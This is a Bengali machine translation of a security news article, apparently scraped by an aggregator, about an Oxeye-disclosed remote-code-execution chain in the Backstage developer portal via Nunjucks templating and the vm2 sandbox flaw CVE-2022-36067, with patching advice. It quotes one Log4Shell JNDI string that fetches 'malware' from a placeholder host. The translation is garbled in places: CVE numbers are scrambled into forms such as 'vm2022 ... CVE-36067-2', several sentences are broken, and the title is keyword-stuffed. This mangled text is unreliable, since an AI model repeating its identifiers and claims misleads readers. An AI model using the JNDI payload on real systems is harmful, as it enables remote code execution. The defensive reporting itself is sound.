জনপ্রিয় ব্যাকস্টেজ ডেভ টুল PlatoBlockchain ডেটা ইন্টেলিজেন্স-এ Log4Shell-এর মতো কোড এক্সিকিউশন হোল। উল্লম্ব অনুসন্ধান. আ.

জনপ্রিয় ব্যাকস্টেজ ডেভ টুলে Log4Shell-এর মতো কোড এক্সিকিউশন হোল

ক্লাউড কোডিং সিকিউরিটি কোম্পানি Oxeye-এর গবেষকরা একটি জটিল বাগ লিখেছেন যা তারা সম্প্রতি জনপ্রিয় ক্লাউড ডেভেলপমেন্ট টুলকিট Backstage-এ আবিষ্কার করেছে।

তাদের রিপোর্ট বাগ কিভাবে কাজ করে তার একটি ব্যাখ্যা অন্তর্ভুক্ত করে, প্লাস প্রুফ-অফ-কনসেপ্ট (PoC) কোড এটিকে কীভাবে কাজে লাগাতে হয় তা দেখায়।

ব্যাকস্টেজ হল যা একটি ক্লাউড ডেভেলপার পোর্টাল হিসাবে পরিচিত - এক ধরণের ব্যবসায়িক লজিক ব্যাকএন্ড যা ওয়েব-ভিত্তিক API (অ্যাপ্লিকেশন প্রোগ্রামিং ইন্টারফেস) তৈরি করা সহজ করে যাতে আপনার ব্যবসার ভিতরে এবং বাইরের কোডারগুলিকে আপনার অনলাইন পরিষেবাগুলির সাথে যোগাযোগ করতে দেয়৷

প্রজেক্টের কথায়, মূলত স্পটিফাইতে তৈরি কিন্তু এখন খোলা-সোর্স ভিত্তিক গুটহাবে:

ব্যাকস্টেজ হল ডেভেলপার পোর্টাল নির্মাণের জন্য একটি উন্মুক্ত প্ল্যাটফর্ম। একটি কেন্দ্রীভূত সফ্টওয়্যার ক্যাটালগ দ্বারা চালিত, ব্যাকস্টেজ আপনার মাইক্রোসার্ভিসেস এবং অবকাঠামোতে অর্ডার পুনরুদ্ধার করে এবং আপনার পণ্য দলগুলিকে স্বায়ত্তশাসনের সাথে আপস না করে দ্রুত উচ্চ-মানের কোড পাঠাতে সক্ষম করে৷

ব্যাকস্টেজ আপনার সমস্ত অবকাঠামো টুলিং, পরিষেবা এবং ডকুমেন্টেশনকে একত্রিত করে প্রান্ত থেকে শেষ পর্যন্ত একটি সুবিন্যস্ত উন্নয়ন পরিবেশ তৈরি করতে।

না, আমরা সত্যিই জানি না এর অর্থ কী, তবে আমরা জানি যে টুলকিটটি জাভাস্ক্রিপ্টে লেখা, সার্ভার-সাইড জাভাস্ক্রিপ্ট সিস্টেম ব্যবহার করে চলে node.js, এবং NPM ইকোসিস্টেম থেকে সাপ্লাই চেইন নির্ভরতার একটি ওয়েবে আঁকে।

NPM এর জন্য সংক্ষিপ্ত নোড প্যাকেজ ম্যানেজার, আপনার ব্যাক-এন্ড জাভাস্ক্রিপ্ট কোড সহজেই বিস্তৃত ওপেন সোর্স লাইব্রেরি ব্যবহার করতে পারে তা নিশ্চিত করার জন্য একটি স্বয়ংক্রিয় টুলকিট যা ক্রিপ্টোগ্রাফি এবং ডাটাবেস ম্যানেজমেন্ট থেকে লগিং এবং সংস্করণ নিয়ন্ত্রণ সবকিছুর জন্য জনপ্রিয়, পূর্ব-লিখিত সহায়ক সরঞ্জাম সরবরাহ করে।

রিমোট কোড এক্সিকিউশন

দুর্ভাগ্যবশত, আজ প্রকাশ করা বাগটি, যদি প্যাচ করা না থাকে, তাহলে এটি অপ্রমাণিত বহিরাগতদের (আস্তিকভাবে, যে কেউ আপনার সার্ভারে API সংযোগ করতে পারে) আপনার নেটওয়ার্কের ব্যবসা-লজিক সার্ভারের ভিতরে রিমোট কোড এক্সিকিউশন (RCE) ট্রিগার করার একটি উপায় দিতে পারে।

সৌভাগ্যবশত, যাইহোক, যদি আমরা Oxeye-এর লেখার সঠিক ব্যাখ্যা করে থাকি, তাহলে তারা তাদের ব্যাকস্টেজ RCE-এর জন্য যে আক্রমণটি বর্ণনা করে তা নির্ভর করে কোডিং ত্রুটির একটি ক্রম-এর উপর যা শেষ পর্যন্ত একটি নির্দিষ্ট বাগের উপর নির্ভর করে। জন্য CVE-2022-36067 একটি সাপ্লাই-চেইন উপাদানে যা ব্যাকস্টেজ নির্ভর করে vm2 নামক।

আপনি যদি ভাবছেন, vm2 হল একটি সাধারণ-উদ্দেশ্য NPM মডিউল যা একটি "ভার্চুয়াল মেশিন স্যান্ডবক্স" প্রয়োগ করে যার লক্ষ্য সম্ভাব্য ঝুঁকিপূর্ণ জাভাস্ক্রিপ্টকে আপনার সার্ভারে চালানোর জন্য কিছুটা নিরাপদ করা।

vm2022-এ CVE-36067-2 বাগ ছিল রিপোর্ট 2022 সালের আগস্টে Oxeye নিজেই (যিনি এটিকে "স্যান্ডব্রেক" এর PR-বান্ধব নাম দিয়েছেন, কারণ এটি স্যান্ডবক্স থেকে বেরিয়ে গেছে), এবং অবিলম্বে patched প্রায় তিন মাস আগে vm2 দলের দ্বারা।

সুতরাং, যতদূর আমরা দেখতে পাচ্ছি, আপনি যদি একজন ব্যাকস্টেজ ব্যবহারকারী হন তবে আপনি নিশ্চিত করতে চান যে আপনি আপনার ব্যাকস্টেজ সেটআপে সমস্ত ঝুঁকিপূর্ণ উপাদানগুলি প্যাচ করেছেন…

…কিন্তু আপনি যদি সেই সমস্ত মাস আগে স্যান্ডব্রেকের জন্য ঝুঁকিপূর্ণ vm2 উপাদানটি প্যাচ করেন, তাহলে মনে হয় আপনি Oxeye-এর সর্বশেষ প্রকাশে বর্ণিত শোষণের জন্য সরাসরি ঝুঁকিপূর্ণ নন।

এছাড়াও, যদি আপনার ব্যাকস্টেজ সার্ভারগুলিকে ভাল সাইবার নিরাপত্তা নির্দেশিকা হিসাবে কনফিগার করা হয়, নেটওয়ার্ক প্রান্তে এবং নেটওয়ার্কের ভিতরে উভয় ক্ষেত্রেই প্রমাণীকরণের প্রয়োজন হয়, তাহলে আপনি নির্ধারিত "সহায়ক" ব্যক্তিদের কাছ থেকে এলোমেলো "শুধুমাত্র গবেষকের উদ্দেশ্যে" অনুসন্ধানের ঝুঁকিতে থাকবেন না। তারা সাইবার থ্রেট "গবেষণায়" আগ্রহী তা দেখানোর জন্য।

একটি "Emmenthal পনির" আক্রমণ

সহজ কথায়, নতুন প্রকাশ করা নিরাপত্তা সমস্যাগুলি হল নিরাপত্তা সংক্রান্ত সমস্যার একটি সিরিজের পার্শ্ব-প্রতিক্রিয়া, যেমন এমমেন্টাল পনিরের স্লাইসে গর্ত যা ক্রমানুসারে প্রবেশ করা যেতে পারে যদি একজন আক্রমণকারী প্রতিটি স্লাইসে অন্তত একটি ছিদ্র করতে সক্ষম হয়।

আমরা এটি বুঝতে পেরেছি, ব্যাকস্টেজে স্ক্যাফোল্ডার নামক একটি উপাদান অন্তর্ভুক্ত রয়েছে, যা নাম অনুসারে আপনাকে বিভিন্ন অ্যাডঅন (প্লাগইন নামে পরিচিত) পরিচালনা করতে সহায়তা করে যা আপনার বিকাশকারী সম্প্রদায়ের প্রয়োজন বা প্রয়োজন হতে পারে।

স্ক্যাফোল্ডার, মোজিলা থেকে Nunjucks নামে পরিচিত একটি বার্তা লগিং সিস্টেম ব্যবহার করে, যার মধ্যে যা স্ট্রিং টেমপ্লেটিং in node.js চেনাশোনা, হিসাবে স্ট্রিং ইন্টারপোলেশন জাভা জগতে, এবং হিসাবে স্ট্রিং প্রতিস্থাপন sysadmins কে যারা কমান্ড শেল যেমন Bash ব্যবহার করে।

যদি স্ট্রিং ইন্টারপোলেশন একটি ঘণ্টা বাজায়, তাহলে সম্ভবত এটির কেন্দ্রস্থলে অবস্থিত Log4Shell 2021 সালের ডিসেম্বরে দুর্বলতা ফিরে আসে এবং এর ফলিনা 2022 এর মাঝামাঝি বাগ।

এখানে আপনি একটি স্ট্রিং টেমপ্লেটে বিশেষ "কোডিং অক্ষর" এর উপর ভিত্তি করে একটি লগিং বার্তার বিষয়বস্তু পুনরায় লিখতে পারেন, যাতে একটি স্ট্রিং যেমন $USER সার্ভার দ্বারা ব্যবহৃত অ্যাকাউন্টের নামের সাথে প্রতিস্থাপিত হতে পারে, বা ${PID} বর্তমান প্রক্রিয়া আইডি পুনরুদ্ধার করতে পারে.

Log4Shell-এর চরম ক্ষেত্রে, কৌতূহলী চেহারার মন্ত্র ${jndi:ldap://example.com:8888/malware} নামক একটি প্রোগ্রাম ডাউনলোড করার জন্য সরাসরি সার্ভার কৌশল করতে পারে malware থেকে example.com এবং নীরবে এটি ব্যাকগ্রাউন্ডে চলমান।

অন্য কথায়, আপনাকে অবশ্যই নিশ্চিত করতে হবে যে একটি অবিশ্বস্ত উৎস থেকে আগত ডেটা, যেমন একজন বাইরের ব্যবহারকারী, ব্যবহার করার জন্য স্ট্রিং টেমপ্লেটিং বা স্ট্রিং ইন্টারপোলেশন ফাংশনে অন্ধভাবে পাস করা হয় না। টেমপ্লেট টেক্সট নিজেই হিসাবে.

যদি একজন দূরবর্তী ব্যবহারকারী, উদাহরণস্বরূপ, তাদের ব্যবহারকারীর নাম দিয়ে আপনার সার্ভারকে ঠকাতে চেষ্টা করে ${{RISKY}} টেমপ্লেটিং লাইব্রেরি ব্যবহার করে ${{...}} এটির বিশেষ চিহ্নিতকারী হিসাবে), আপনাকে নিশ্চিত করতে হবে যে আপনার লগিং কোডটি সঠিকভাবে সেই দুষ্টু-সুদর্শন পাঠ্যটি আক্ষরিক অর্থে রেকর্ড করবে যেমন এটি প্রাপ্ত হয়েছিল…

…লগ করা লেখাটিকে লগিং ফাংশনের নিয়ন্ত্রণ নিতে দেওয়ার পরিবর্তে!

একটি পুরানো নার্সারি ছড়ার কথায়, আপনাকে নিশ্চিত করতে হবে যে আপনি শেষ পর্যন্ত গান গাইবেন না, “আমার মধ্যে একটি ছিদ্র আছে ${{BUCKET}}, প্রিয় লিজা, প্রিয় লিজা, আমার মধ্যে একটি গর্ত আছে ${{BUCKET}}, প্রিয় লিজা। একটি গর্ত!"

নিরাপত্তা কম্বলে মোড়ানো

ন্যায্যভাবে বলতে গেলে, Nunjucks-এর সম্ভবত-অত্যধিক-শক্তিশালী টেমপ্লেটিং/ইন্টারপোলেশন কার্যকারিতা ব্যাকস্টেজ দ্বারা আরও একটি সাপ্লাই-চেইন উপাদানের ভিতরে আবৃত করা হয়েছে, যেমন উপরে উল্লিখিত স্যান্ডবক্সিং সিস্টেম vm2, যা একজন দূষিত ব্যবহারকারী বুবি দিয়ে করতে পারে এমন বিপদকে সীমাবদ্ধ করবে বলে মনে করা হয়। - আটকে পড়া ইনপুট ডেটা।

দুর্ভাগ্যবশত, Oxeye গবেষকরা Backstage + Scaffolder + Nunjucks-এ তাদের নতুন-আবিষ্কৃত স্ট্রিং টেমপ্লেটিং কোড-ট্রিগারিং পাথগুলিকে vm2022 সিকিউরিটি র‍্যাপারে পুরানো CVE-36067-2 দুর্বলতার সাথে যুক্ত করতে সক্ষম হয়েছেন যাতে সম্ভাব্য দূরবর্তী কোড এক্সিকিউট সার্ভিং এ অর্জন করা যায়। .

কি করো?

আপনি যদি একজন ব্যাকস্টেজ ব্যবহারকারী হন:

  • নিশ্চিত করুন যে আপনার কাছে ব্যাকস্টেজের সর্বশেষ সংস্করণ এবং এর নির্ভরতা রয়েছে, অন্তর্ভুক্ত করা plugin-scaffolder-backend উপাদান. Oxeye-এর মতে, ব্যাকস্টেজ কোডে প্রাসঙ্গিক বাগগুলি 01 সেপ্টেম্বর 2022-এর মধ্যে প্যাচ করা হয়েছিল, যাতে সেই ডেটার পরে কোনও অফিসিয়াল পয়েন্ট রিলিজে সংশোধনগুলি অন্তর্ভুক্ত করা উচিত। লেখার সময় [2022-11-1T16:00Z], এতে ব্যাকস্টেজ অন্তর্ভুক্ত 1.6.0, 1.7.0 এবং 1.8.0, যথাক্রমে 2022-09-21, 2022-10-18, এবং 2022-11-15 এ প্রকাশিত হয়েছে।
  • আপনার ব্যাকস্টেজ ইনস্টলেশনে আপনার প্রত্যাশা অনুযায়ী প্রমাণীকরণ কনফিগার করা আছে কিনা পরীক্ষা করুন। Oxeye দাবি করে যে প্রমাণীকরণ ডিফল্টরূপে বন্ধ, এবং যে অনুসরণ করার পরে নেপথ্য নির্দেশিকা, ব্যাকএন্ড সার্ভারগুলি (যা সম্ভবত বাহ্যিকভাবে প্রকাশ করার কথা নয়) এখনও অননুমোদিত অ্যাক্সেসের অনুমতি দেয়৷ আপনি যা চান তা হতে পারে, তবে আপনার সেটআপ আপনার উদ্দেশ্যগুলির সাথে মেলে কিনা তা পরীক্ষা করার জন্য আমরা এই সমস্যাটি ব্যবহার করার পরামর্শ দিই।
  • ইন্টারনেট থেকে আপনার ব্যাকস্টেজ অবকাঠামোর কোন অংশে পৌঁছানো যেতে পারে তা পরীক্ষা করুন। আবার, আপনি যদি সম্প্রতি এটি না করে থাকেন তবে বাইরে থেকে আপনার নিজের নেটওয়ার্ক স্ক্যান করার কারণ হিসাবে এই সমস্যাটি ব্যবহার করুন।

আপনি যদি একজন node.js/NPM ব্যবহারকারী হন:

  • আপনার vm2 স্যান্ডবক্স উপাদানটির সর্বশেষ সংস্করণ রয়েছে তা নিশ্চিত করুন। আপনার ব্যাকস্টেজ না থাকলেও আপনার ব্যবহার করা অন্যান্য সফ্টওয়্যারের নির্ভরতা হিসাবে এটি ইনস্টল করা থাকতে পারে। CVE-2022-36067 দুর্বলতা 2022-08-28 তারিখে প্যাচ করা হয়েছিল, তাই আপনি vm2 সংস্করণ চান 3.9.11 অথবা পরে.

আপনি যদি একজন প্রোগ্রামার হন:

  • শক্তিশালী লগিং ফাংশন কল করার সময় আপনি যতটা সম্ভব প্রতিরক্ষামূলক হন। আপনি যদি আমাদের কাছে একটি লগিং পরিষেবা (Nunjucks বা Log4J সহ) যা শক্তিশালী টেমপ্লেটিং/ইন্টারপোলেশন বৈশিষ্ট্যগুলি অন্তর্ভুক্ত করে, আপনার প্রয়োজন নেই এমন কোনও বৈশিষ্ট্য বন্ধ করুন যাতে সেগুলি ভুল করে শোষিত না হয়। নিশ্চিত করুন যে অবিশ্বস্ত ইনপুট নিজেই একটি টেমপ্লেট হিসাবে ব্যবহৃত হয় না, এইভাবে আক্রমণকারীদের তাদের নিজস্ব সরাসরি বিপজ্জনক ইনপুট স্ট্রিংগুলি রোল করা থেকে বাধা দেয়৷
  • অন্য কোন সতর্কতা অবলম্বন না করেই, আপনার লগিং ইনপুট এবং আউটপুটগুলি স্যানিটাইজ করুন। মনে রাখবেন যে ভবিষ্যতে অন্য কাউকে আপনার লগফাইল খুলতে হবে। কোনো অসাবধানতাবশত বুবি-ট্র্যাপকে আপনার লগফাইলে লেখার অনুমতি দেবেন না যেখানে তারা পরে সমস্যা সৃষ্টি করতে পারে, যেমন স্ক্রিপ্ট ট্যাগ সহ এইচটিএমএল টুকরো। (কেউ ভুল করে ব্রাউজারে ফাইলটি খুলতে পারে।)

এমনকি যখন আপনি একটি বিশ্বস্ত উত্স থেকে ইনপুট পান, এটি ব্যবহার করার আগে আপনার নিজের স্যানিটাইজেশন চেকের মাধ্যমে এটি না রাখার খুব কমই কোনো কারণ নেই।

(আপনি মাঝে মাঝে একটি ব্যতিক্রমকে ন্যায্যতা দিতে পারেন, উদাহরণস্বরূপ কর্মক্ষমতার কারণে, তবে এটি একটি ব্যতিক্রম হওয়া উচিত, নিয়ম নয়।)

প্রথমত, আবার চেক করা আপনাকে ত্রুটিগুলি চিহ্নিত করতে সাহায্য করে যা পূর্ববর্তী কোডাররা সরল বিশ্বাসে করেছিল; দ্বিতীয়ত, আপনার ইকোসিস্টেমের অন্য কোনো অংশে আপস করা হলে এটি খারাপ বা বুবি-ট্র্যাপড ডেটার বিস্তার সীমিত করতে সাহায্য করে।

এমমেন্টাল পনিরের সেই স্লাইসগুলির বিষয়ে যা আমরা আগে উল্লেখ করেছি তা হ'ল প্রতিটি শীটে কমপক্ষে একটি ছিদ্র লাইন থাকলে সেগুলি প্রবেশযোগ্য…

…তারা অভেদ্য যদি সেখানে অন্তত একটি শীট থাকে যেখানে ছিদ্র থাকে যা একেবারেই লাইনে না থাকে!


সময় স্ট্যাম্প:

থেকে আরো নগ্ন সুরক্ষা